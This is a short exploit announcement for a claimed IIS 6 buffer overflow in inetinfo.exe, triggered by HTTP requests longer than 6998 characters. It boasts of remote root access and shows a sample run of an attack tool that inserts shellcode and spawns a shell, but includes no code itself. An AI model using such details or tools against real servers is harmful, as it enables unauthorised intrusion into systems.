   IIS 6 Buffer Overflow Exploit

   BUG: inetinfo.exe improperly bound checks
   http requests sent longer than 6998 chars.
   Can get messy but enough testing, and we have
   found a way in.

   VENDOR STATUS: Notified
   FIX: In process

   Remote root.

   eg.
   #./iis6_inetinfoX xxx.xxx.xxx.xxx -p 80
    + Connecting to host...
    + Connected.
    + Inserting Shellcode...
    + Done...
    + Spawining shell..
